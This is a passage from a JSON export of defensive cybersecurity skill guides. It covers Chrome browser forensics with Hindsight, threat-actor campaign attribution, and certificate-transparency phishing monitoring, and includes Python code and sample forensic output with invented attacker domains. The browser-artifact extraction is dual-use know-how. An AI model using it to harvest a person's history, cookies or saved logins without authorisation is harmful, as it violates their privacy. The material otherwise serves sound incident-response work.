FROM keyword_search_terms k JOIN urls u ON k.url_id = u.id\n        ORDER BY u.last_visit_time DESC LIMIT 1000\n    \"\"\")\n    searches = [{\"term\": r[0], \"url\": r[1]} for r in cursor.fetchall()]\n\n    conn.close()\n\n    report = {\n        \"analysis_timestamp\": datetime.now().isoformat(),\n        \"profile_path\": profile_path,\n        \"total_visits\": len(visits),\n        \"total_downloads\": len(downloads),\n        \"total_searches\": len(searches),\n        \"visits\": visits,\n        \"downloads\": downloads,\n        \"searches\": searches\n    }\n\n    report_path = os.path.join(output_dir, \"browser_forensics.json\")\n    with open(report_path, \"w\") as f:\n        json.dump(report, f, indent=2)\n\n    return report\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(\"Usage: python process.py <chrome_profile_path> <output_dir>\")\n        sys.exit(1)\n    analyze_chrome_history(sys.argv[1], sys.argv[2])\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- Hindsight GitHub: https://github.com/obsidianforensics/hindsight\n- Chrome Forensics Guide: https://allenace.medium.com/hindsight-chrome-forensics-made-simple-425db99fa5ed\n- Browser Forensics Tools: https://www.cyberforensicacademy.com/blog/browser-forensics-tools-how-to-extract-user-activity\n- Chromium Source (History): https://source.chromium.org/chromium/chromium/src/+/main:components/history/\n\n## Example Output\n\n```text\n$ python hindsight.py -i /evidence/chrome-profile -o /analysis/hindsight_output\n\nHindsight v2024.01 - Chrome/Chromium Browser Forensic Analysis\n================================================================\n\nProfile: /evidence/chrome-profile (Chrome 120.0.6099.130)\nOS: Windows 10\n\n[+] Parsing History database...\n    URL records:          12,456\n    Download records:     234\n    Search terms:         567\n\n[+] Parsing Cookies database...\n    Cookie records:       8,923\n    Encrypted cookies:    6,712\n\n[+] Parsing Web Data (Autofill)...\n    Autofill entries:     1,234\n    Credit card entries:  2 (encrypted)\n\n[+] Parsing Login Data...\n    Saved credentials:    45 (encrypted)\n\n[+] Parsing Bookmarks...\n    Bookmark entries:     189\n\n--- Browsing History (Last 10 Entries) ---\nTimestamp (UTC)          | URL                                          | Title                        | Visit Count\n2024-01-15 14:32:05.123  | https://mail.corporate.com/inbox             | Corporate Mail                | 45\n2024-01-15 14:33:12.456  | https://drive.google.com/file/d/1aBcDe...    | Q4_Financial_Report.xlsx     | 1\n2024-01-15 14:35:44.789  | https://mega.nz/folder/xYz123               | MEGA - Secure Cloud          | 3\n2024-01-15 14:36:01.234  | https://mega.nz/folder/xYz123#upload        | MEGA - Upload                | 8\n2024-01-15 14:42:15.567  | https://pastebin.com/raw/kL9mN2pQ           | Pastebin (raw)               | 1\n2024-01-15 15:01:33.890  | https://192.168.1.50:8443/admin              | Admin Panel                  | 12\n2024-01-15 15:15:22.111  | https://transfer.sh/upload                  | transfer.sh                  | 2\n2024-01-15 15:30:45.222  | https://vpn-gateway.corporate.com            | VPN Login                    | 5\n2024-01-15 16:00:00.333  | https://whatismyipaddress.com                 | What Is My IP                | 1\n2024-01-15 16:05:12.444  | https://protonmail.com/inbox                 | ProtonMail                   | 3\n\n--- Downloads (Suspicious) ---\nTimestamp (UTC)          | Filename                    | URL Source                               | Size\n2024-01-15 14:33:15.000  | Q4_Financial_Report.xlsm   | https://phish-domain.com/docs/report     | 245 KB\n2024-01-15 14:34:02.000  | update_client.exe          | https://cdn.evil-updates.com/client.exe  | 1.2 MB\n\n--- Cookies (Session Tokens) ---\nDomain                   | Name              | Expires            | Secure | HttpOnly\n.corporate.com           | SESSION_ID        | 2024-01-16 14:32   | Yes    | Yes\n.mega.nz                 | session           | Session            | Yes    | Yes\n.protonmail.com          | AUTH-TOKEN        | 2024-02-15 00:00   | Yes    | Yes\n\nReport saved to: /analysis/hindsight_output/Hindsight_Report.xlsx\n```\n","frontmatter":{"name":"analyzing-browser-forensics-with-hindsight","description":"Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["browser-forensics","hindsight","chrome-forensics","chromium","edge","browsing-history","cookies","downloads","cache","web-artifacts"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1217","T1539","T1555.003","T1185"]},"isInternal":false,"tokens":2826,"sizeBytes":11104},{"name":"template.md","path":"skills/analyzing-campaign-attribution-evidence/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-campaign-attribution-evidence/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"# Campaign Attribution Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CTI-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Classification | TLP:AMBER |\n| Analyst | [Name] |\n| Confidence | High/Moderate/Low |\n\n## Executive Summary\n[Brief overview of key findings and their significance]\n\n## Key Findings\n1. [Finding 1 with supporting evidence]\n2. [Finding 2 with supporting evidence]\n3. [Finding 3 with supporting evidence]\n\n## Detailed Analysis\n### Finding 1\n- **Evidence**: [Description of evidence]\n- **Confidence**: High/Moderate/Low\n- **MITRE ATT&CK**: [Relevant technique IDs]\n- **Impact Assessment**: [Potential impact to organization]\n\n## Indicators of Compromise\n| Type | Value | Context | Confidence |\n|------|-------|---------|-----------|\n| | | | |\n\n## Recommendations\n1. **Immediate**: [Actions requiring immediate attention]\n2. **Short-term**: [Actions within 1-2 weeks]\n3. **Long-term**: [Strategic improvements]\n\n## References\n- [Source 1]\n- [Source 2]\n","isInternal":false,"tokens":255,"sizeBytes":1003},{"name":"api-reference.md","path":"skills/analyzing-campaign-attribution-evidence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-campaign-attribution-evidence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Campaign Attribution Evidence Analysis\n\n## Diamond Model of Intrusion Analysis\n\n### Four Core Features\n| Feature | Description | Attribution Value |\n|---------|-------------|-------------------|\n| Adversary | Threat actor identity | Direct attribution |\n| Capability | Malware, exploits, tools | Indirect - shared tooling |\n| Infrastructure | C2, domains, IPs | Strong - operational overlap |\n| Victim | Targets, sectors, regions | Contextual - targeting pattern |\n\n### Pivot Analysis\n```\nAdversary ←→ Capability ←→ Infrastructure ←→ Victim\n    ↕              ↕              ↕              ↕\n  (HUMINT)     (Malware DB)   (WHOIS/DNS)   (Victimology)\n```\n\n## Analysis of Competing Hypotheses (ACH)\n\n### Matrix Format\n```\nEvidence \\ Hypothesis  |  APT28  |  APT29  |  Lazarus  |  Unknown\n-----------------------------------------------------------------\nInfrastructure overlap  |   ++    |    -    |     -     |    N\nTTP consistency        |   ++    |   ++    |     -     |    N\nMalware similarity     |    +    |    -    |     -     |    N\nTiming (UTC+3)         |   ++    |   ++    |     -     |    N\nLanguage (Russian)     |   ++    |   ++    |     -     |    N\n```\n\n### Scoring\n| Symbol | Meaning | Weight |\n|--------|---------|--------|\n| `++` | Strongly consistent | +2 |\n| `+` | Consistent | +1 |\n| `N` | Neutral | 0 |\n| `-` | Inconsistent | -1 |\n| `--` | Strongly inconsistent | -2 |\n\n## MITRE ATT&CK Group Queries\n\n### Python (mitreattack-python)\n```python\nfrom mitreattack.stix20 import MitreAttackData\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroup = attack.get_group_by_alias(\"APT29\")\ntechniques = attack.get_techniques_used_by_group(group.id)\n```\n\n### STIX2 Relationship Query\n```python\nfrom stix2 import Filter\nrelationships = src.query([\n    Filter(\"type\", \"=\", \"relationship\"),\n    Filter(\"source_ref\", \"=\", group_id),\n    Filter(\"relationship_type\", \"=\", \"uses\"),\n])\n```\n\n## Infrastructure Overlap Tools\n\n### PassiveTotal / RiskIQ\n```bash\n# WHOIS history\ncurl -u user:key \"https://api.passivetotal.org/v2/whois?query=domain.com\"\n\n# Passive DNS\ncurl -u user:key \"https://api.passivetotal.org/v2/dns/passive?query=1.2.3.4\"\n```\n\n### VirusTotal Relations\n```bash\ncurl -H \"x-apikey: KEY\" \\\n  \"https://www.virustotal.com/api/v3/domains/example.com/communicating_files\"\n```\n\n## Confidence Assessment Framework\n\n| Level | Score Range | Criteria |\n|-------|------------|---------|\n| HIGH | 0.8-1.0 | Multiple independent evidence types converge |\n| MEDIUM | 0.5-0.8 | Significant evidence with some gaps |\n| LOW | 0.2-0.5 | Limited evidence, alternative hypotheses remain |\n| NEGLIGIBLE | 0.0-0.2 | Insufficient evidence for attribution |\n\n## STIX Attribution Objects\n\n### Campaign Object\n```json\n{\n  \"type\": \"campaign\",\n  \"name\": \"Operation DarkShadow\",\n  \"first_seen\": \"2024-01-15T00:00:00Z\",\n  \"last_seen\": \"2024-03-20T00:00:00Z\",\n  \"objective\": \"Espionage targeting defense sector\"\n}\n```\n\n### Attribution Relationship\n```json\n{\n  \"type\": \"relationship\",\n  \"relationship_type\": \"attributed-to\",\n  \"source_ref\": \"campaign--abc123\",\n  \"target_ref\": \"intrusion-set--def456\",\n  \"confidence\": 75\n}\n```\n","isInternal":false,"tokens":872,"sizeBytes":3153},{"name":"standards.md","path":"skills/analyzing-campaign-attribution-evidence/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-campaign-attribution-evidence/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Standards and Frameworks Reference\n\n## Applicable Standards\n- **STIX 2.1**: Structured Threat Information eXpression for CTI data representation\n- **TAXII 2.1**: Transport protocol for sharing CTI over HTTPS\n- **MITRE ATT&CK**: Adversary tactics, techniques, and procedures taxonomy\n- **Diamond Model**: Intrusion analysis framework (Adversary, Capability, Infrastructure, Victim)\n- **Traffic Light Protocol (TLP)**: Information sharing classification (CLEAR, GREEN, AMBER, RED)\n\n## MITRE ATT&CK Relevance\n- Technique mapping for threat actor behavior classification\n- Data sources for detection capability assessment\n- Mitigation strategies linked to specific techniques\n\n## Industry Frameworks\n- NIST Cybersecurity Framework (CSF) 2.0 - Identify function\n- ISO 27001:2022 - A.5.7 Threat Intelligence\n- FIRST Standards - TLP, CSIRT, vulnerability coordination\n\n## References\n- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html)\n- [MITRE ATT&CK](https://attack.mitre.org/)\n- [Diamond Model Paper](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [NIST CSF 2.0](https://www.nist.gov/cyberframework)\n","isInternal":false,"tokens":303,"sizeBytes":1156},{"name":"workflows.md","path":"skills/analyzing-campaign-attribution-evidence/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-campaign-attribution-evidence/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Campaign Attribution Analysis Workflows\n\n## Workflow 1: Collection and Analysis\n```\n[Intelligence Sources] --> [Data Collection] --> [Analysis] --> [Reporting]\n        |                        |                   |               |\n        v                        v                   v               v\n  OSINT/HUMINT/SIGINT    Normalize/Enrich    Assess/Correlate  Disseminate\n```\n\n### Steps:\n1. **Planning**: Define intelligence requirements and collection priorities\n2. **Collection**: Gather data from relevant sources\n3. **Processing**: Normalize data formats and filter noise\n4. **Analysis**: Apply analytical frameworks and correlate findings\n5. **Production**: Generate intelligence products and reports\n6. **Dissemination**: Share with stakeholders via appropriate channels\n7. **Feedback**: Collect consumer feedback to refine future collection\n\n## Workflow 2: Continuous Monitoring\n```\n[Watchlist] --> [Automated Monitoring] --> [Change Detection] --> [Alert/Update]\n```\n\n### Steps:\n1. **Define Watchlist**: Identify indicators, actors, and topics to monitor\n2. **Configure Monitoring**: Set up automated collection from relevant sources\n3. **Change Detection**: Identify new or changed intelligence\n4. **Assessment**: Evaluate significance of changes\n5. **Alerting**: Notify stakeholders of significant intelligence updates\n6. **Archive**: Store intelligence for historical analysis and trending\n","isInternal":false,"tokens":283,"sizeBytes":1408},{"name":"SKILL.md","path":"skills/analyzing-campaign-attribution-evidence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-campaign-attribution-evidence/SKILL.md","title":"analyzing-campaign-attribution-evidence","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-campaign-attribution-evidence\ndescription: Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- threat-intelligence\n- cti\n- ioc\n- mitre-attack\n- stix\n- attribution\n- campaign-analysis\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1587.001\n- T1583.001\n- T1588.002\n- T1071.001\n---\n# Analyzing Campaign Attribution Evidence\n\n## Overview\n\nCampaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attribution indicators using the Diamond Model and ACH (Analysis of Competing Hypotheses), analyzing infrastructure overlaps, TTP consistency, malware code similarities, operational timing patterns, and language artifacts to build confidence-weighted attribution assessments.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing campaign attribution evidence\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `stix2`, `networkx` libraries\n- Access to threat intelligence platforms (MISP, OpenCTI)\n- Understanding of Diamond Model of Intrusion Analysis\n- Familiarity with MITRE ATT&CK threat group profiles\n- Knowledge of malware analysis and infrastructure tracking techniques\n\n## Key Concepts\n\n### Attribution Evidence Categories\n1. **Infrastructure Overlap**: Shared C2 servers, domains, IP ranges, hosting providers\n2. **TTP Consistency**: Matching ATT&CK techniques and sub-techniques across campaigns\n3. **Malware Code Similarity**: Shared code bases, compilers, PDB paths, encryption routines\n4. **Operational Patterns**: Timing (working hours, time zones), targeting patterns, operational tempo\n5. **Language Artifacts**: Embedded strings, variable names, error messages in specific languages\n6. **Victimology**: Target sector, geography, and organizational profile consistency\n\n### Confidence Levels\n- **High Confidence**: Multiple independent evidence categories converge on same actor\n- **Moderate Confidence**: Several evidence categories match, some ambiguity remains\n- **Low Confidence**: Limited evidence, possible false flags or shared tooling\n\n### Analysis of Competing Hypotheses (ACH)\nStructured analytical method that evaluates evidence against multiple competing hypotheses. Each piece of evidence is scored as consistent, inconsistent, or neutral with respect to each hypothesis. The hypothesis with the least inconsistent evidence is favored.\n\n## Workflow\n\n### Step 1: Collect Attribution Evidence\n\n```python\nfrom stix2 import MemoryStore, Filter\nfrom collections import defaultdict\n\nclass AttributionAnalyzer:\n    def __init__(self):\n        self.evidence = []\n        self.hypotheses = {}\n\n    def add_evidence(self, category, description, value, confidence):\n        self.evidence.append({\n            \"category\": category,\n            \"description\": description,\n            \"value\": value,\n            \"confidence\": confidence,\n            \"timestamp\": None,\n        })\n\n    def add_hypothesis(self, actor_name, actor_id=\"\"):\n        self.hypotheses[actor_name] = {\n            \"actor_id\": actor_id,\n            \"consistent_evidence\": [],\n            \"inconsistent_evidence\": [],\n            \"neutral_evidence\": [],\n            \"score\": 0,\n        }\n\n    def evaluate_evidence(self, evidence_idx, actor_name, assessment):\n        \"\"\"Assess evidence against a hypothesis: consistent/inconsistent/neutral.\"\"\"\n        if assessment == \"consistent\":\n            self.hypotheses[actor_name][\"consistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] += self.evidence[evidence_idx][\"confidence\"]\n        elif assessment == \"inconsistent\":\n            self.hypotheses[actor_name][\"inconsistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] -= self.evidence[evidence_idx][\"confidence\"] * 2\n        else:\n            self.hypotheses[actor_name][\"neutral_evidence\"].append(evidence_idx)\n\n    def rank_hypotheses(self):\n        \"\"\"Rank hypotheses by attribution score.\"\"\"\n        ranked = sorted(\n            self.hypotheses.items(),\n            key=lambda x: x[1][\"score\"],\n            reverse=True,\n        )\n        return [\n            {\n                \"actor\": name,\n                \"score\": data[\"score\"],\n                \"consistent\": len(data[\"consistent_evidence\"]),\n                \"inconsistent\": len(data[\"inconsistent_evidence\"]),\n                \"confidence\": self._score_to_confidence(data[\"score\"]),\n            }\n            for name, data in ranked\n        ]\n\n    def _score_to_confidence(self, score):\n        if score >= 80:\n            return \"HIGH\"\n        elif score >= 40:\n            return \"MODERATE\"\n        else:\n            return \"LOW\"\n```\n\n### Step 2: Infrastructure Overlap Analysis\n\n```python\ndef analyze_infrastructure_overlap(campaign_a_infra, campaign_b_infra):\n    \"\"\"Compare infrastructure between two campaigns for attribution.\"\"\"\n    overlap = {\n        \"shared_ips\": set(campaign_a_infra.get(\"ips\", [])).intersection(\n            campaign_b_infra.get(\"ips\", [])\n        ),\n        \"shared_domains\": set(campaign_a_infra.get(\"domains\", [])).intersection(\n            campaign_b_infra.get(\"domains\", [])\n        ),\n        \"shared_asns\": set(campaign_a_infra.get(\"asns\", [])).intersection(\n            campaign_b_infra.get(\"asns\", [])\n        ),\n        \"shared_registrars\": set(campaign_a_infra.get(\"registrars\", [])).intersection(\n            campaign_b_infra.get(\"registrars\", [])\n        ),\n    }\n\n    overlap_score = 0\n    if overlap[\"shared_ips\"]:\n        overlap_score += 30\n    if overlap[\"shared_domains\"]:\n        overlap_score += 25\n    if overlap[\"shared_asns\"]:\n        overlap_score += 15\n    if overlap[\"shared_registrars\"]:\n        overlap_score += 10\n\n    return {\n        \"overlap\": {k: list(v) for k, v in overlap.items()},\n        \"overlap_score\": overlap_score,\n        \"assessment\": \"STRONG\" if overlap_score >= 40 else \"MODERATE\" if overlap_score >= 20 else \"WEAK\",\n    }\n```\n\n### Step 3: TTP Comparison Across Campaigns\n\n```python\nfrom attackcti import attack_client\n\ndef compare_campaign_ttps(campaign_techniques, known_actor_techniques):\n    \"\"\"Compare campaign TTPs against known threat actor profiles.\"\"\"\n    campaign_set = set(campaign_techniques)\n    actor_set = set(known_actor_techniques)\n\n    common = campaign_set.intersection(actor_set)\n    unique_campaign = campaign_set - actor_set\n    unique_actor = actor_set - campaign_set\n\n    jaccard = len(common) / len(campaign_set.union(actor_set)) if campaign_set.union(actor_set) else 0\n\n    return {\n        \"common_techniques\": sorted(common),\n        \"common_count\": len(common),\n        \"unique_to_campaign\": sorted(unique_campaign),\n        \"unique_to_actor\": sorted(unique_actor),\n        \"jaccard_similarity\": round(jaccard, 3),\n        \"overlap_percentage\": round(len(common) / len(campaign_set) * 100, 1) if campaign_set else 0,\n    }\n```\n\n### Step 4: Generate Attribution Report\n\n```python\ndef generate_attribution_report(analyzer):\n    \"\"\"Generate structured attribution assessment report.\"\"\"\n    rankings = analyzer.rank_hypotheses()\n\n    report = {\n        \"assessment_date\": \"2026-02-23\",\n        \"total_evidence_items\": len(analyzer.evidence),\n        \"hypotheses_evaluated\": len(analyzer.hypotheses),\n        \"rankings\": rankings,\n        \"primary_attribution\": rankings[0] if rankings else None,\n        \"evidence_summary\": [\n            {\n                \"index\": i,\n                \"category\": e[\"category\"],\n                \"description\": e[\"description\"],\n                \"confidence\": e[\"confidence\"],\n            }\n            for i, e in enumerate(analyzer.evidence)\n        ],\n    }\n\n    return report\n```\n\n## Validation Criteria\n\n- Evidence collection covers all six attribution categories\n- ACH matrix properly evaluates evidence against competing hypotheses\n- Infrastructure overlap analysis identifies shared indicators\n- TTP comparison uses ATT&CK technique IDs for precision\n- Attribution confidence levels are properly justified\n- Report includes alternative hypotheses and false flag considerations\n\n## References\n\n- [Diamond Model of Intrusion Analysis](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [MITRE ATT&CK Groups](https://attack.mitre.org/groups/)\n- [Analysis of Competing Hypotheses](https://www.cia.gov/static/9a5f1162fd0932c29e985f0159f56c07/Tradecraft-Primer-apr09.pdf)\n- [Threat Attribution Framework](https://www.mandiant.com/resources/reports)\n","frontmatter":{"name":"analyzing-campaign-attribution-evidence","description":"Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","attribution","campaign-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1587.001","T1583.001","T1588.002","T1071.001"]},"isInternal":false,"tokens":2007,"sizeBytes":9210},{"name":"api-reference.md","path":"skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Certificate Transparency Phishing Detection\n\n## crt.sh API\n\n### Search Certificates\n```bash\n# JSON output\ncurl \"https://crt.sh/?q=%.example.com&output=json\"\n\n# Exclude expired\ncurl \"https://crt.sh/?q=%.example.com&output=json&exclude=expired\"\n\n# Exact match\ncurl \"https://crt.sh/?q=example.com&output=json\"\n```\n\n### Response Fields\n| Field | Description |\n|-------|-------------|\n| `id` | Certificate ID in crt.sh database |\n| `common_name` | Certificate CN |\n| `name_value` | All SANs (newline-separated) |\n| `issuer_name` | Certificate Authority |\n| `not_before` | Validity start |\n| `not_after` | Validity end |\n| `serial_number` | Certificate serial |\n\n## Certstream - Real-time CT Monitoring\n\n### Python Client\n```python\nimport certstream\n\ndef callback(message, context):\n    if message[\"message_type\"] == \"certificate_update\":\n        data = message[\"data\"]\n        domains = data[\"leaf_cert\"][\"all_domains\"]\n        for domain in domains:\n            if \"example\" in domain:\n                print(f\"[ALERT] {domain}\")\n\ncertstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n```\n\n### Message Fields\n| Field | Path |\n|-------|------|\n| Domains | `data.leaf_cert.all_domains` |\n| Issuer | `data.leaf_cert.issuer.O` |\n| Subject | `data.leaf_cert.subject.CN` |\n| Fingerprint | `data.leaf_cert.fingerprint` |\n| Source | `data.source.name` |\n\n## CT Log Servers\n\n| Log | Operator | URL |\n|-----|----------|-----|\n| Argon | Google | `ct.googleapis.com/logs/argon2024` |\n| Xenon | Google | `ct.googleapis.com/logs/xenon2024` |\n| Nimbus | Cloudflare | `ct.cloudflare.com/logs/nimbus2024` |\n| Oak | Let's Encrypt | `oak.ct.letsencrypt.org/2024h1` |\n| Yeti | DigiCert | `yeti2024.ct.digicert.com/log` |\n\n## Phishing Detection Techniques\n\n### Homoglyph / IDN Attacks\n| Original | Lookalike | Technique |\n|----------|-----------|-----------|\n| example.com | examp1e.com | Character substitution (l→1) |\n| google.com | gооgle.com | Cyrillic о (U+043E) |\n| paypal.com | paypa1.com | l→1 substitution |\n| microsoft.com | mіcrosoft.com | Cyrillic і (U+0456) |\n\n### dnstwist Integration\n```bash\ndnstwist -r -f json example.com   # Generate and resolve permutations\ndnstwist -w wordlist.txt example.com  # Dictionary-based\n```\n\n## Certificate Details Lookup\n```bash\n# Get full certificate from crt.sh\ncurl \"https://crt.sh/?d=<cert_id>\"\n\n# OpenSSL inspection\nopenssl s_client -connect domain.com:443 -servername domain.com </dev/null 2>/dev/null | \\\n  openssl x509 -noout -text\n```\n\n## Suspicious Indicators\n| Pattern | Risk Level |\n|---------|-----------|\n| Free CA + new domain + brand keyword | HIGH |\n| Wildcard cert on recently registered domain | HIGH |\n| Multiple certs for slight domain variants | MEDIUM |\n| IDN/punycode domain mimicking brand | HIGH |\n| Cert issued same day as domain registration | MEDIUM |\n","isInternal":false,"tokens":763,"sizeBytes":2850},{"name":"SKILL.md","path":"skills/analyzing-certificate-transparency-for-phishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-certificate-transparency-for-phishing/SKILL.md","title":"analyzing-certificate-transparency-for-phishing","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-certificate-transparency-for-phishing\ndescription: Monitor Certificate Transparency logs using crt.sh and Certstream to\n  detect phishing domains, lookalike certificates, and unauthorized certificate issuance\n  targeting your organization.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- certificate-transparency\n- ct-logs\n- phishing\n- crt-sh\n- certstream\n- ssl\n- domain-monitoring\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0052\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1583.001\n- T1583.004\n- T1566.002\n- T1608.005\n- T1596.003\nmitre_f3:\n  version: '1.1'\n  tactics:\n  - resource-development\n  - reconnaissance\n  - initial-access\n  techniques:\n  - id: T1583.001\n    name: 'Acquire Infrastructure: Domains'\n    tactic: resource-development\n    source: attack\n  - id: F1020.002\n    name: 'Create Fake Materials: Fake Website'\n    tactic: resource-development\n    source: f3\n  - id: T1593\n    name: Search Open Websites/Domains\n    tactic: reconnaissance\n    source: attack\n  - id: T1598\n    name: Phishing for Information\n    tactic: reconnaissance\n    source: attack\n  - id: T1660\n    name: Phishing\n    tactic: initial-access\n    source: attack\n---\n# Analyzing Certificate Transparency for Phishing\n\n## Overview\n\nCertificate Transparency (CT) is an Internet security standard that creates a public, append-only log of all issued SSL/TLS certificates. Monitoring CT logs enables early detection of phishing domains that register certificates mimicking legitimate brands, unauthorized certificate issuance for owned domains, and certificate-based attack infrastructure. This skill covers querying CT logs via crt.sh, real-time monitoring with Certstream, building automated alerting for suspicious certificates, and integrating findings into threat intelligence workflows.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing certificate transparency for phishing\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `requests`, `certstream`, `tldextract`, `Levenshtein` libraries\n- Access to crt.sh (https://crt.sh/) for historical CT log queries\n- Certstream (https://certstream.calidog.io/) for real-time monitoring\n- List of organization domains and brand keywords to monitor\n- Understanding of SSL/TLS certificate structure and issuance process\n\n## Key Concepts\n\n### Certificate Transparency Logs\n\nCT logs are cryptographically assured, publicly auditable, append-only records of TLS certificate issuance. Major CAs (Let's Encrypt, DigiCert, Sectigo, Google Trust Services) submit all issued certificates to multiple CT logs. As of 2025, Chrome and Safari require CT for all publicly trusted certificates.\n\n### Phishing Detection via CT\n\nAttackers register lookalike domains and obtain free certificates (often from Let's Encrypt) to make phishing sites appear legitimate with HTTPS. CT monitoring detects these early because the certificate appears in logs before the phishing campaign launches, providing a window for proactive blocking.\n\n### crt.sh Database\n\ncrt.sh is a free web interface and PostgreSQL database operated by Sectigo that indexes CT logs. It supports wildcard searches (`%.example.com`), direct SQL queries, and JSON API responses. It tracks certificate issuance, expiration, and revocation across all major CT logs.\n\n## Workflow\n\n### Step 1: Query crt.sh for Certificate History\n\n```python\nimport requests\nimport json\nfrom datetime import datetime\nimport tldextract\n\nclass CTLogMonitor:\n    CRT_SH_URL = \"https://crt.sh\"\n\n    def __init__(self, monitored_domains, brand_keywords):\n        self.monitored_domains = monitored_domains\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n\n    def query_crt_sh(self, domain, include_expired=False):\n        \"\"\"Query crt.sh for certificates matching a domain.\"\"\"\n        params = {\n            \"q\": f\"%.{domain}\",\n            \"output\": \"json\",\n        }\n        if not include_expired:\n            params[\"exclude\"] = \"expired\"\n\n        resp = requests.get(self.CRT_SH_URL, params=params, timeout=30)\n        if resp.status_code == 200:\n            certs = resp.json()\n            print(f\"[+] crt.sh: {len(certs)} certificates for *.{domain}\")\n            return certs\n        return []\n\n    def find_suspicious_certs(self, domain):\n        \"\"\"Find certificates that may be phishing attempts.\"\"\"\n        certs = self.query_crt_sh(domain)\n        suspicious = []\n\n        for cert in certs:\n            common_name = cert.get(\"common_name\", \"\").lower()\n            name_value = cert.get(\"name_value\", \"\").lower()\n            issuer = cert.get(\"issuer_name\", \"\")\n            not_before = cert.get(\"not_before\", \"\")\n            not_after = cert.get(\"not_after\", \"\")\n\n            # Check for exact domain matches (legitimate)\n            extracted = tldextract.extract(common_name)\n            cert_domain = f\"{extracted.domain}.{extracted.suffix}\"\n            if cert_domain == domain:\n                continue  # Legitimate certificate\n\n            # Flag suspicious patterns\n            flags = []\n            if domain.replace(\".\", \"\") in common_name.replace(\".\", \"\"):\n                flags.append(\"contains target domain string\")\n            if any(kw in common_name for kw in self.brand_keywords):\n                flags.append(\"contains brand keyword\")\n            if \"let's encrypt\" in issuer.lower():\n                flags.append(\"free CA (Let's Encrypt)\")\n\n            if flags:\n                suspicious.append({\n                    \"common_name\": cert.get(\"common_name\", \"\"),\n                    \"name_value\": cert.get(\"name_value\", \"\"),\n                    \"issuer\": issuer,\n                    \"not_before\": not_before,\n                    \"not_after\": not_after,\n                    \"serial\": cert.get(\"serial_number\", \"\"),\n                    \"flags\": flags,\n                    